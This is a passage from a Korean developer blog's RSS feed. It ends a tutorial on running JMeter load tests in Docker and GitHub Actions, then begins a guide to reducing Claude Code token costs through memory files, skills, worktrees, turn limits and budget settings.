        &lt;span class=&quot;token key atrule&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;10&quot;&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;duration&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;테스트 시간 (초)&quot;&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;60&quot;&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;load-test&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Run JMeter
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
          docker run --rm \
            -v ${{ github.workspace }}/tests:/jmeter/tests \
            -v ${{ github.workspace }}/results:/jmeter/results \
            qainsights/jmeter:5.6.3 \
            -n -t /jmeter/tests/api-test.jmx \
            -l /jmeter/results/results.jtl \
            -e -o /jmeter/results/html-report \
            -Jthreads=${{ github.event.inputs.threads }} \
            -Jduration=${{ github.event.inputs.duration }}&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Upload Report
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/upload&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;artifact@v4
        &lt;span class=&quot;token key atrule&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; always()
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;report
          &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; results/html&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;report/

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Check Error Rate
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
          ERROR_RATE=$(tail -n +2 results/results.jtl | \
            awk -F&apos;,&apos; &apos;{total++; if($8==&quot;false&quot;) errors++} END {printf &quot;%.2f&quot;, (errors/total)*100}&apos;)
          echo &quot;Error rate: ${ERROR_RATE}%&quot;
          if (( $(echo &quot;$ERROR_RATE &gt; 5.0&quot; | bc -l) )); then
            echo &quot;::error::Error rate ${ERROR_RATE}% exceeds 5% threshold&quot;
            exit 1
          fi&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;포인트:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;workflow_dispatch&lt;/code&gt;로 수동 트리거하면서 사용자 수와 시간을 파라미터로 넘길 수 있습니다. 에러율이 5%를 넘으면 파이프라인이 실패합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 팁 — 자주 하는 실수와 해결법&lt;/h2&gt;
&lt;h3&gt;1. &quot;리포트 디렉토리가 이미 있습니다&quot; 오류&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;ERROR: org.apache.jmeter.JMeter: An error occurred:
Cannot write to &apos;/jmeter/results/html-report&apos; as folder is not empty&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;해결:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;-o&lt;/code&gt; 경로는 비어있거나 존재하지 않아야 합니다. 매번 삭제하거나 타임스탬프를 붙이세요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 실행 전 삭제&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rf&lt;/span&gt; results/html-report

&lt;span class=&quot;token comment&quot;&gt;# 또는 타임스탬프 사용&lt;/span&gt;
&lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; /jmeter/results/report-&lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;date&lt;/span&gt; +%Y%m%d-%H%M%S&lt;span class=&quot;token variable&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2. 메모리 부족 (OutOfMemoryError)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# JVM 힙 사이즈 설정&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;HEAP&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;-Xms2g -Xmx4g&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--memory&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;6g &lt;span class=&quot;token parameter variable&quot;&gt;--cpus&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;경험칙:&lt;/strong&gt; 컨테이너당 가상 사용자 250~500명 정도가 적당합니다. 그 이상은 슬레이브를 늘리세요.&lt;/p&gt;
&lt;h3&gt;3. Docker 네트워크에서 대상 서비스 접근&lt;/h3&gt;
&lt;p&gt;테스트 대상이 같은 Docker 네트워크에 있다면 서비스명으로 접근 가능합니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;my-api&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;api&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;net

  &lt;span class=&quot;token key atrule&quot;&gt;jmeter-master&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# ...&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      -n -t /jmeter/tests/test.jmx
      -Jhost=my-api -Jport=8080&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;networks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; jmeter&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;net&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;4. Windows 환경에서 볼륨 마운트&lt;/h3&gt;
&lt;p&gt;Windows에서는 &lt;code class=&quot;language-text&quot;&gt;$(pwd)&lt;/code&gt; 대신 절대 경로를 사용하세요:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# PowerShell&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token environment constant&quot;&gt;PWD&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;/tests:/jmeter/tests &lt;span class=&quot;token variable&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;${&lt;span class=&quot;token environment constant&quot;&gt;PWD&lt;/span&gt;}&lt;/span&gt;/results:/jmeter/results `
  qainsights/jmeter:5.6.3 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.

&lt;span class=&quot;token comment&quot;&gt;# CMD&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;docker&lt;/span&gt; run &lt;span class=&quot;token parameter variable&quot;&gt;--rm&lt;/span&gt; ^
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; %cd%/tests:/jmeter/tests ^
  &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; %cd%/results:/jmeter/results ^
  qainsights/jmeter:5.6.3 &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;정리 — 전체 워크플로우&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. 테스트 계획 작성    →  JMeter GUI (로컬)에서 .jmx 파일 생성
2. Docker로 실행      →  docker run / docker compose up
3. 리포트 확인        →  results/html-report/index.html
4. CI/CD 연동        →  GitHub Actions / Jenkins에서 자동 실행
5. 분산 테스트        →  Docker Compose로 슬레이브 스케일링&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Docker 기반 JMeter의 가장 큰 장점은 **&quot;환경 문제 없이 누구나 동일한 테스트를 실행할 수 있다&quot;**는 것입니다. 팀 전체가 같은 이미지를 쓰면 &quot;제 PC에서는 되는데요?&quot; 문제가 사라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ — 자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;Q. JMeter GUI를 Docker에서 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;기술적으로는 X11 포워딩으로 가능하지만, 권장하지 않습니다. GUI는 로컬에 설치해서 테스트 계획(.jmx)만 만들고, 실행은 Docker에서 Non-GUI 모드로 하는 게 표준적인 방식입니다.&lt;/p&gt;
&lt;h3&gt;Q. Gatling이나 k6 대신 JMeter를 써야 하는 이유가 있나요?&lt;/h3&gt;
&lt;p&gt;JMeter는 GUI로 테스트를 만들 수 있어서 &lt;strong&gt;코딩 없이 시작할 수 있다&lt;/strong&gt;는 게 가장 큰 장점입니다. Gatling(Scala)이나 k6(JavaScript)는 코드로 시나리오를 작성해야 합니다. 반면 대규모 테스트에서는 k6이 메모리 효율이 더 좋습니다. 팀의 기술 스택과 요구사항에 맞게 선택하면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. 분산 테스트에서 슬레이브를 몇 대까지 늘릴 수 있나요?&lt;/h3&gt;
&lt;p&gt;Docker Compose 기준으로 한 호스트에서 5~10대 정도가 현실적입니다. 그 이상은 호스트 자체의 CPU/메모리가 병목이 됩니다. 더 큰 규모가 필요하면 Kubernetes나 AWS ECS에서 슬레이브를 분산 배포하는 것을 고려하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 성능 테스트를 어떤 도구로 하고 계신가요? JMeter 외에 다른 도구 경험이 있다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude Code 토큰 절약 가이드 [고급편] — 자동화와 아키텍처 레벨 최적화]]></title><description><![CDATA[Claude Code 토큰 절약 가이드 고급편 커버 — 자동화·아키텍처 레벨 최적화와 비용 모니터링 안녕하세요, 자바파커입니다. "설정도 다 했고, 습관도 잡았는데... 팀 전체의 Claude Code…]]></description><link>https://blog.javapark.kr/token-saving-advanced/</link><guid isPermaLink="false">https://blog.javapark.kr/token-saving-advanced/</guid><pubDate>Sun, 05 Apr 2026 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-token-saving-advanced.png&quot; alt=&quot;Claude Code 토큰 절약 가이드 고급편 커버 — 자동화·아키텍처 레벨 최적화와 비용 모니터링&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;설정도 다 했고, 습관도 잡았는데... 팀 전체의 Claude Code 비용을 체계적으로 관리하고 싶어요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;초급편에서 기본 습관을, 중급편에서 설정 최적화를 다뤘습니다. 고급편에서는 &lt;strong&gt;시스템 차원의 토큰 관리 전략&lt;/strong&gt;을 정리합니다. 개인 사용뿐 아니라 팀·프로젝트 단위로 비용을 통제하는 방법까지 포함합니다.&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;[초급 → 중급 → 고급] 시리즈의 마지막 편&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. Memory 시스템으로 반복 설명 완전 제거&lt;/h2&gt;
&lt;p&gt;CLAUDE.md가 &quot;프로젝트 규칙서&quot;라면, Memory는 **&quot;나와 Claude 사이의 공유 기억&quot;**입니다.&lt;/p&gt;
&lt;h3&gt;Memory란?&lt;/h3&gt;
&lt;p&gt;Claude Code의 Memory 시스템은 대화가 끝나도 유지되는 영구 저장소입니다. 사용자 선호, 프로젝트 맥락, 피드백 등을 파일로 저장해두면 &lt;strong&gt;새 세션에서도 자동으로 참조&lt;/strong&gt;합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/projects/{프로젝트}/memory/
├── MEMORY.md          ← 인덱스 (자동 로드)
├── user_profile.md    ← 사용자 정보
├── feedback_style.md  ← 피드백/선호
└── project_arch.md    ← 프로젝트 맥락&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;토큰 절약에 어떻게 도움이 되나?&lt;/h3&gt;
&lt;p&gt;Memory가 없으면 매 세션마다 반복하게 되는 설명들:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# 매 세션 시작마다 이런 말을 하고 있다면...
&quot;이 프로젝트는 Next.js 14 + TypeScript야.
 DB는 PostgreSQL이고 Prisma 쓰고 있어.
 테스트는 vitest, 배포는 Vercel.
 코드 스타일은 airbnb 규칙 따르고...&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이걸 Memory에 한 번 저장하면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;이번에 기억해줘&quot; 라고 말하면 됩니다.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이후 세션에서는 이 정보가 자동으로 로드됩니다. &lt;strong&gt;매번 50~100토큰씩 절약&lt;/strong&gt;되고, 세션이 쌓일수록 누적 효과가 큽니다.&lt;/p&gt;
&lt;h3&gt;Memory 작성 팁&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- memory/project_stack.md --&gt;&lt;/span&gt;

name: 프로젝트 기술 스택
description: 현재 프로젝트의 기술 스택과 규칙
type: project

&lt;span class=&quot;token hr punctuation&quot;&gt;---&lt;/span&gt;

Next.js 14 App Router + TypeScript strict mode
DB: PostgreSQL + Prisma ORM
테스트: vitest + Testing Library
배포: Vercel
코드 스타일: ESLint airbnb + Prettier&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; Memory 파일도 MEMORY.md 인덱스를 통해 매번 로드되므로, &lt;strong&gt;짧고 핵심만&lt;/strong&gt; 담아야 합니다. Memory가 길어지면 오히려 토큰 낭비입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Skill로 프롬프트 토큰 최소화&lt;/h2&gt;
&lt;p&gt;Skill은 &lt;strong&gt;반복되는 작업 지시를 파일로 저장해 슬래시 명령어로 호출&lt;/strong&gt;하는 기능입니다.&lt;/p&gt;
&lt;h3&gt;토큰 관점에서 Skill의 가치&lt;/h3&gt;
&lt;p&gt;Skill 없이 매번 입력하는 경우:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;블로그 포스팅 써줘.
톤은 &quot;~합니다&quot; 체로, 친근하지만 가볍지 않게.
&quot;안녕하세요, 자바파커입니다&quot;로 시작.
마크다운으로 작성하고, 구분선으로 섹션 나누고,
표와 코드 블록 적극 활용하고,
마지막에 댓글 유도 질문 넣어줘.
SEO 태그도 넣고...
(~200토큰)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Skill로 호출하면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/blog-post Claude Code 토큰 절약법
(~10토큰)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;매 호출마다 ~190토큰 절약.&lt;/strong&gt; Skill 파일은 호출 시에만 로드되므로, 사용하지 않을 때는 컨텍스트를 차지하지 않습니다.&lt;/p&gt;
&lt;h3&gt;Skill 최적화 작성법&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- .claude/skills/code-review.md --&gt;&lt;/span&gt;

name: code-review
description: PR 코드 리뷰 수행

&lt;span class=&quot;token hr punctuation&quot;&gt;---&lt;/span&gt;

변경된 파일을 분석하고 아래 항목만 체크:

&lt;span class=&quot;token list punctuation&quot;&gt;1.&lt;/span&gt; 버그 가능성
&lt;span class=&quot;token list punctuation&quot;&gt;2.&lt;/span&gt; 성능 이슈
&lt;span class=&quot;token list punctuation&quot;&gt;3.&lt;/span&gt; 보안 취약점

각 항목 발견 시 파일:라인 형식으로 보고.
문제 없으면 &quot;LGTM&quot; 한 줄만 출력.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; Skill 내부 지시도 간결하게. &quot;친절하게 설명해줘&quot; 같은 문구 대신, 출력 형식을 명확히 지정하면 응답 토큰도 줄어듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. 워크트리(Worktree) 격리로 컨텍스트 분리&lt;/h2&gt;
&lt;p&gt;워크트리는 &lt;strong&gt;같은 저장소의 독립적인 작업 복사본&lt;/strong&gt;을 만드는 Git 기능입니다. Claude Code에서는 서브에이전트를 워크트리에서 실행하여 컨텍스트를 완전히 분리할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;워크트리가 토큰을 줄이는 원리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;메인 세션 (feature-A 작업 중)
  │
  ├── /clear 없이 feature-B 작업 시작
  │   → feature-A 컨텍스트가 계속 누적 (토큰 낭비)
  │
  └── 워크트리에서 feature-B 실행
      → 완전히 독립된 컨텍스트 (토큰 절약)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;실전 활용&lt;/h3&gt;
&lt;p&gt;Claude Code에서 서브에이전트를 워크트리 모드로 실행하면, 해당 작업은 별도의 Git 브랜치에서 독립적으로 진행됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;feature-B를 별도 워크트리에서 구현해줘.
 메인 브랜치에 영향 없이 작업하고 결과만 알려줘.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 메인 대화의 컨텍스트를 오염시키지 않으면서 병렬 작업이 가능합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. max-turns로 자동 실행 제한&lt;/h2&gt;
&lt;p&gt;Claude Code가 자율적으로 작업할 때, 예상보다 많은 턴을 사용하는 경우가 있습니다. &lt;code class=&quot;language-text&quot;&gt;max-turns&lt;/code&gt; 옵션으로 이를 제한할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# CLI에서 턴 수 제한&lt;/span&gt;
claude --max-turns &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;이 버그 수정해줘&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;왜 턴 제한이 필요한가?&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;턴 수&lt;/th&gt;
&lt;th&gt;토큰 소모&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순 버그 수정&lt;/td&gt;
&lt;td&gt;3~5턴&lt;/td&gt;
&lt;td&gt;적음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;삽질하는 Claude&lt;/td&gt;
&lt;td&gt;20~50턴&lt;/td&gt;
&lt;td&gt;매우 많음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;무한 루프 (드물지만 발생)&lt;/td&gt;
&lt;td&gt;100턴+&lt;/td&gt;
&lt;td&gt;폭발&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;max-turns&lt;/code&gt;를 설정하면 Claude가 지정된 턴 내에서 작업을 마치지 못하면 중단됩니다. 이때 상황을 파악하고, 더 구체적인 지시를 주거나 접근 방식을 바꿀 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;권장 설정:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;작업 유형&lt;/th&gt;
&lt;th&gt;권장 max-turns&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;단순 수정&lt;/td&gt;
&lt;td&gt;5~10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;기능 구현&lt;/td&gt;
&lt;td&gt;15~25&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;대규모 리팩토링&lt;/td&gt;
&lt;td&gt;30~50&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. 비용 모니터링과 예산 설정&lt;/h2&gt;
&lt;h3&gt;API 사용량 모니터링&lt;/h3&gt;
&lt;p&gt;Anthropic Console에서 API 키별 사용량을 확인할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 현재 세션 비용 확인&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Claude Code 내에서&lt;/span&gt;
/cost&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;예산 제한 설정&lt;/h3&gt;
&lt;p&gt;API 사용 시 월별 예산 한도를 설정할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Anthropic Console에서 설정&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Settings → Plans &amp;amp; Billing → Usage Limits&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 월별 사용 한도를 설정하면 초과 시 API 호출이 차단됨&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;팀 단위 비용 관리&lt;/h3&gt;
&lt;p&gt;팀에서 Claude Code를 사용한다면:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;API 키 분리&lt;/strong&gt; — 프로젝트별/팀원별 API 키를 분리하여 사용량 추적&lt;/li&gt;
